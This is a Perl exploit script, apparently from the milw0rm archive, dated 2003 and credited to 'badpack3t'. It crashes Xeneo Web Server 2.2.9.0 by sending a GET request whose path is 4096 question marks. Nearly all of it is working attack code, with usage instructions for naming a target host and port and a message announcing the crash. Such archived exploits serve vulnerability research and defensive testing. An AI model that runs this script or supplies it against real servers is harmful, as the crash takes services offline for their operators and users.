#!/usr/bin/perl
# Xeneo Web Server DoS
#
# Vulnerable systems:
# Xeneo. Web Server 2.2.9.0
#
# Written by badpack3t <badpack3t@security-protocols.com>
# For SP Research Labs
# 04/21/2003
#
# www.security-protocols.com
#
# usage:
# perl sp-xeneo.pl <target> <port>
#


use IO::Socket;
use strict;

print ".:."x 20; print "\nXeneo Web Server 2.2.9.0 DoS, <badpack3t\@security-protocols.com>\n";
print ".:."x 20; print "\n\n";

if( !defined( $ARGV[ 0 ] && $ARGV[ 1 ]))
{
&usage;
}

my $host = $ARGV[ 0 ];
my $def = "?";
my $num = "4096";
my $port = $ARGV[ 1 ];
my $urfuqed = $def x $num;

my $tcpval = getprotobyname( 'tcp' );
my $serverIP = inet_aton( $host );
my $serverAddr = sockaddr_in( $ARGV[ 1 ], $serverIP );
my $protocol_name = "tcp";

my $iaddr = inet_aton( $host ) || die ( "host was not found: $host" );
my $paddr = sockaddr_in( $port, $iaddr ) || die ( "you did something wrong stupid... exiting..." );
my $proto = getprotobyname( 'tcp' ) || die ( "cannot get protocol" );
socket( SOCK, PF_INET, SOCK_STREAM, $proto ) || die ( "socket could not open: $host" );
connect( SOCK, $paddr ) || die ( "cannot connect to: $host" );

my $submit = "GET /$urfuqed HTTP/1.0\r\n\r\n";
send( SOCK,$submit,0 );
close( SOCK );

sub usage
{
die( "\n\nUsage: perl $0 <target_host> <port>\n\n" );
}

print "\n.:.:.:.:.:.:.:.:.:.:.:.";
print "\ncrash was successful ~!\n";
print "\.:.:.:.:.:.:.:.:.:.:.:.\n";

# milw0rm.com [2003-04-22]
